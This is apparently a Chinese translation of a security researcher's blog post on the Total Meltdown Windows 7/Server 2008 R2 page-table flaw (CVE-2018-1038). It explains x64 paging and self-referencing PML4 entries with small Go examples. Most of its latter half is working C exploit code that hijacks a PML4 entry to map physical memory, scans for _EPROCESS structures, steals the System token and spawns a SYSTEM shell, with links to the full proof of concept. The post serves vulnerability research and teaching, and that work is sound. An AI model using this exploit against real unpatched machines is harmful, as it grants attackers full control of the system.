早在今年3月份,Ulf Frisk在Windows 7和Windows Server 2008 R2中發(fā)現(xiàn)了一個漏洞。微軟此前為緩解Meltdown漏洞而發(fā)布過一個補(bǔ)丁,然而該修補(bǔ)又無意中造成特定版本的Windows中出現(xiàn)一個新的漏洞,該漏洞允許任意進(jìn)程訪問和修改頁表項(Page Table Entries)。
有關(guān)該漏洞的Write-Up請參見Ulf的博客:http://blog.frizk.net/2018/03/total-meltdown.html ,這篇內(nèi)容非常值得一讀。
在本周,我有一些空閑的時間,因此我決定要深入研究一下這個漏洞,看看該漏洞能如何利用。最終的目的是為了發(fā)現(xiàn)一種該漏洞的快速利用方式,能夠迅速提升特權(quán)。在此過程中,我深入研究了Windows內(nèi)存管理相關(guān)的內(nèi)容,并在本文中詳述了如何針對此類漏洞進(jìn)行漏洞利用。
像往常一樣,本文主要面向于希望了解漏洞利用探索過程的人,而并不是簡單地提供一個EXP。首先,我們從一些關(guān)于分頁的基礎(chǔ)知識開始。
為了能理解這個漏洞的工作原理,我們首先需要講解一些關(guān)于分頁的基本原理,即如何在x86或x64架構(gòu)上進(jìn)行分頁。
眾所周知,x64操作系統(tǒng)上的虛擬地址通常如下所示:
0x7fffffd6001
然而,可能有人并不清楚,虛擬地址不僅僅是指向RAM中任意位置的指針,它實際上由多個字段組成,這些字段在將虛擬地址轉(zhuǎn)換為物理地址時具有特定的用途。
我們先將上面的示例虛擬地址轉(zhuǎn)換成二進(jìn)制:
0000000000000000 000001111 111111111 111111111 111010110 000000000001
從左到右,我們首先忽略了前16位,因為這些位對我們來說沒有實際意義,它們只是對虛擬地址中第48位的鏡像。
從偏移量第48位開始:
最開始的9位000001111(十進(jìn)制15)是到PML4表的偏移量;
接下來的9位111111111(十進(jìn)制511)是PDPT表的偏移量;
接下來的9位111111111(十進(jìn)制511)是PD表的偏移量;
接下來的9位111010110(十進(jìn)制數(shù)470)是PT表的偏移量;
最后的12位000000000001(十進(jìn)制1)是內(nèi)存頁的偏移量。
當(dāng)然,接下來的一個問題是,什么是PML4、PDPT、PD和PT?
在x64體系結(jié)構(gòu)中,將虛擬地址轉(zhuǎn)換為物理地址的這一過程,是通過CR3寄存器指向的一組分頁表實現(xiàn)的:
PML4 – Page Map Level 4
PDPT – Page Directory Pointer Table
PD – Page Directory
PT – Page Table
其中,每個表負(fù)責(zé)提供數(shù)據(jù)存儲位置的物理地址,以及與該內(nèi)存位置相關(guān)的標(biāo)志。
例如,頁表中的條目可以負(fù)責(zé)提供查找鏈(Lookup Chain)中指向下一個表的指針,以用于在內(nèi)存頁上設(shè)置NX位,或者是確保內(nèi)核內(nèi)存不能被操作系統(tǒng)上運行的應(yīng)用訪問。
為了做到簡化,上面的虛擬地址查找過程如下所示:
在這里,我們看到遍歷這些表的過程是由各個條目完成的,這些條目負(fù)責(zé)提供指向下一個表的指針,最后的條目指向了內(nèi)存中所存儲數(shù)據(jù)的物理地址。
大家可以想到,要為操作系統(tǒng)上的每個進(jìn)程存儲并管理頁表需要付出大量的努力。面對這一問題,操作系統(tǒng)的開發(fā)人員采用了“自引用頁表”(Self-Referencing Page Tables)的技術(shù)來緩解這一復(fù)雜的過程。
簡而言之,自參照頁表通過引用自身PML4表中的字段來工作。舉例來說,如果我們在PML4表中創(chuàng)建索引為0x100的新條目,并且該條目指向PML4表的物理地址,那我們就有了所謂的“自引用條目”。
那么,為什么有人會這樣做呢?實際上,這樣一來我們就得到了一組虛擬地址,我們可以在虛擬地址空間中對任何頁表進(jìn)行引用和修改。
例如,如果我們想要修改某個進(jìn)程的PML4表,那么可以簡單地引用虛擬地址0x804020100000,其具體為:
PML4索引0x100 – PML4的物理地址;
PDPT索引0x100 – 同樣是PML4的物理地址;
PD索引0x100 – 依然是PML4的物理地址;
PT索引0x100 – 還是PML4的物理地址。
最終會返回PML4內(nèi)存中的內(nèi)容。
希望上述的例子,能讓大家理解自引用頁表的遞歸特性的威力。我用了幾晚的時間盯著屏幕,才得以弄明白這一點。
為了進(jìn)一步展示,我們編寫了下面的代碼作為例子,可以看到ffff804020100000的虛擬地址允許我們檢索PML4表進(jìn)行編輯,其中PML4的索引0x100是自引用的。
package main
import (
"fmt"
)
func VAtoOffsets(va uint64) {
phy_offset := va & 0xFFF
pt_index := (va >> 12) & 0x1FF
pde_index := (va >> (12 + 9)) & 0x1FF
pdpt_index := (va >> (12 + 9 + 9)) & 0x1FF
pml4_index := (va >> (12 + 9 + 9 + 9)) & 0x1FF
fmt.Printf("PML4 Index: %03xn", pml4_index)
fmt.Printf("PDPT Index: %03xn", pdpt_index)
fmt.Printf("PDE Index: %03xn", pde_index)
fmt.Printf("PT Index: %03xn", pt_index)
fmt.Printf("Page offset: %03xn", phy_offset)
}
func OffsetsToVA(phy_offset, pt_index, pde_index, pdpt_index, pml4_index uint64) {
var va uint64
va = pml4_index << (12 + 9 + 9 + 9)
va = va | pdpt_index << (12 + 9 + 9)
va = va | pde_index << (12 + 9)
va = va | pt_index << 12
va = va | phy_offset
if ((va & 0x800000000000) == 0x800000000000) {
va |= 0xFFFF000000000000
}
fmt.Printf("Virtual Address: %xn", va)
}
func main() {
VAtoOffsets(0xffff804020100000)
OffsetsToVA(0, 0x100, 0x100, 0x100, 0x100)
}
大家可以在瀏覽器中運行此代碼并查看結(jié)果,鏈接為:https://play.golang.org/p/tyQUoox47ri
現(xiàn)在,假設(shè)我們要修改虛擬地址的PDPT條目。借助自引用技術(shù),減少通過自引用條目遞歸的次數(shù),這樣一來這個過程就變得非常簡單。
例如,給定一個PML4索引0x150,以及在0x100中的自引用條目,我們可以返回地址為0xffff804020150000的相應(yīng)PDPT表。在這里,golang應(yīng)用程序可以再次發(fā)揮作用,展示這一過程:https://play.golang.org/p/f02hYYFgmWo
當(dāng)我們對基礎(chǔ)知識有足夠了解之后,就可以轉(zhuǎn)向漏洞。
如果我們將2018年2月的微軟安全更新補(bǔ)丁打在Windows 7 x64或Windows Server 2008 R2 x64系統(tǒng)上,我們會發(fā)現(xiàn)PML4的條目0x1e8已經(jīng)更新。
我在實驗室中搭建了一個受漏洞影響的操作系統(tǒng)環(huán)境,發(fā)現(xiàn)PML4的條目0x1e8與此類似:
007000002d282867
在這里,存在一些標(biāo)志。我們需要注意這個頁表項的第三位。如果設(shè)置了第三位,那么就將1允許從用戶模式訪問內(nèi)存頁,而不再將訪問限制在內(nèi)核。
更糟糕的是,PM4條目0x1e8被用作Windows 7和Windows Server 2008 R2 x64中的自引用條目,這就意味著任何用戶模式的進(jìn)程都被授權(quán)查看和修改PML4頁表。
正如我們所了解的那樣,通過修改這個頂級的頁表,我們就能夠查看并修改整個系統(tǒng)中的所有物理內(nèi)存。
那么,如何利用這個漏洞呢?要利用這一漏洞并成功實現(xiàn)特權(quán)升級,我們可以采用如下步驟來實現(xiàn):
1、創(chuàng)建一組新的頁表,這將導(dǎo)致允許訪問任何物理內(nèi)存地址;
2、創(chuàng)建一組可在內(nèi)核內(nèi)存中搜索_EPROCESS結(jié)構(gòu)的簽名;
3、為我們執(zhí)行的進(jìn)程和System進(jìn)程,找到_EPROCESS內(nèi)存地址;
4、將我們正在執(zhí)行進(jìn)程的token替換成System的token,從而將正在執(zhí)行的進(jìn)程升級到NT AUTHORITYSystem。
在這里必須要提到,我們本次研究參考了PCILeech的代碼( https://github.com/ufrisk/pcileech/blob/master/pcileech/devicetmd.c )。這是我第一次在這個級別研究操作系統(tǒng)的分頁,正是devicetmd.c所使用的漏洞代碼解決了我的一個難題,為此我必須對Ulf Frisk表示感謝。
我們將使用PCILeech的代碼來設(shè)置頁表,而不是簡單地重新實現(xiàn)Ulf的分頁技術(shù)。為了能更清楚明白地解釋這一過程,我更新了一些神奇的數(shù)字并添加了解釋,以幫助大家清楚到底發(fā)生了什么:
unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
DWORD done;
// setup: PDPT @ fixed hi-jacked physical address: 0x10000
// This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
// we can hijack.
for (iPML4 = 256; iPML4 < 512; iPML4++) {
vaPML4e = PML4_BASE + (iPML4 << 3);
if (*(unsigned long long *)vaPML4e) { continue; }
// When we find an entry, we add a pointer to the next table (PDPT), which will be
// stored at the physical address 0x10000
// The flags "067" allow user-mode access to the page.
*(unsigned long long *)vaPML4e = 0x10067;
break;
}
printf("[*] PML4 Entry Added At Index: %dn", iPML4);
// Here, the PDPT table is references via a virtual address.
// For example, if we added our hijacked PML4 entry at index 256, this virtual address
// would be 0xFFFFF6FB7DA00000 + 0x100000
// This allows us to reference the physical address 0x10000 as:
// PML4 Index: 1ed | PDPT Index : 1ed | PDE Index : 1ed | PT Index : 100
vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
printf("[*] PDPT Virtual Address: %p", vaPDPT);
// 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
// Below is responsible for adding 31 entries to the PDPT
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
*(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
}
// For each of the PDs, a further 512 PT's are created. This gives access to
// 512 * 32 * 2mb = 33gb physical memory space
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
if ((iPDPT % 3) == 0)
printf("n[*] PD Virtual Addresses: ");
vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
printf("%p ", vaPD);
for (iPD = 0; iPD < 512; iPD++) {
// Below, notice the 0xe7 flags added to each entry.
// This is used to create a 2mb page rather than the standard 4096 byte page.
*(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
}
}
printf("n[*] Page tables created, we now have access to ~33gb of physical memoryn");
現(xiàn)在,我們建立了頁表,接下來就需要在物理內(nèi)存中尋找_EPROCESS結(jié)構(gòu)。接下來,我們一同來研究如何在內(nèi)核內(nèi)存中查找_EPROCESS對象:
為了創(chuàng)建一個簡單的簽名,我們可以使用ImageFileName和PriorityClass字段,掃描內(nèi)存中是否出現(xiàn)了這兩個字段,直到得到命中結(jié)果。在我的嘗試中,這種方法比較有效,但如果大家發(fā)現(xiàn)存在誤報的情況,可以再做進(jìn)一步優(yōu)化:
#define EPROCESS_IMAGENAME_OFFSET 0x2e0
#define EPROCESS_TOKEN_OFFSET 0x208
#define EPROCESS_PRIORITY_OFFSET 0xF // This is the offset from IMAGENAME, not from base
unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
printf("[*] Hunting for _EPROCESS structures in memoryn");
for (int i = 0x100000; i < 31 * 512 * 2097152; i++) {
__try {
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
printf("[*] Found our _EPROCESS at %pn", ourEPROCESS);
}
}
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
else if (systemEPROCESS == 0 && memcmp("System", (unsigned char *)(exploitVM + i), 14) == 0) {
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
printf("[*] Found System _EPROCESS at %pn", systemEPROCESS);
}
}
if (systemEPROCESS != 0 && ourEPROCESS != 0) {
...
break;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("[X] Exception occured, stopping to avoid BSODn");
}
}
我們此前講解過一些內(nèi)核特權(quán)升級利用的方法,請參見:
https://blog.xpnsec.com/hevd-null-pointer/
https://blog.xpnsec.com/hevd-stack-overflow/
https://blog.xpnsec.com/windows-warbird-privesc/
最終,與大多數(shù)內(nèi)核特權(quán)升級利用一樣,我們需要將我們的_EPROCESS.Token字段替換為System進(jìn)程token的字段:
if (systemEPROCESS != 0 && ourEPROCESS != 0) {
// Swap the tokens by copying the pointer to System Token field over our process token
printf("[*] Copying access token from %p to %pn", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
*(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
printf("[*] Done, spawning SYSTEM shell...nn");
CreateProcessA(0,
"cmd.exe",
NULL,
NULL,
TRUE,
0,
NULL,
NULL,
&si,
&pi);
break;
}
我是在Windows 7 x64的實驗環(huán)境對上述漏洞利用過程進(jìn)行了嘗試,演示視頻請參見:https://youtu.be/5fl5jFy4XMg
最終代碼可以在GitHub上找到:https://gist.github.com/xpn/bdb99cee8895bab4b1a0671696570d94
**更新:我對該代碼進(jìn)行了更新,更新后的版本增加了一些內(nèi)存檢查,同樣上傳到了GitHub上面:https://gist.github.com/xpn/3792ec34d712425a5c47caf5677de5fe
為確保我們的系統(tǒng)免受該漏洞攻擊,微軟已經(jīng)發(fā)布了針對CVE-2018-1038的修復(fù)程序,該修復(fù)程序可用于修復(fù)此問題。
對于此前曾經(jīng)做過低級別開發(fā)的人員,大家可能已經(jīng)注意到,在查找_EPROCESS對象的過程中,上述利用代碼并沒有對設(shè)備映射內(nèi)存進(jìn)行任何進(jìn)一步的檢查。在我的實驗環(huán)境中,并沒有產(chǎn)生任何問題,但考慮到不同的硬件和環(huán)境,還是應(yīng)該增加額外的檢查來降低BSOD的風(fēng)險。為了解決這一問題,我已經(jīng)在新版本的PoC中實現(xiàn)了額外的內(nèi)存檢查,詳情請見GitHub上的代碼:https://gist.github.com/xpn/3792ec34d712425a5c47caf5677de5fe
[1] Total Meltdown漏洞:http://blog.frizk.net/2018/03/total-meltdown.html
[2] 在RUST中編寫一個操作系統(tǒng) – 頁表:https://os.phil-opp.com/page-tables/#recursive-mapping
[3] GO語言中的頁表計算:https://play.golang.org/p/tyQUoox47ri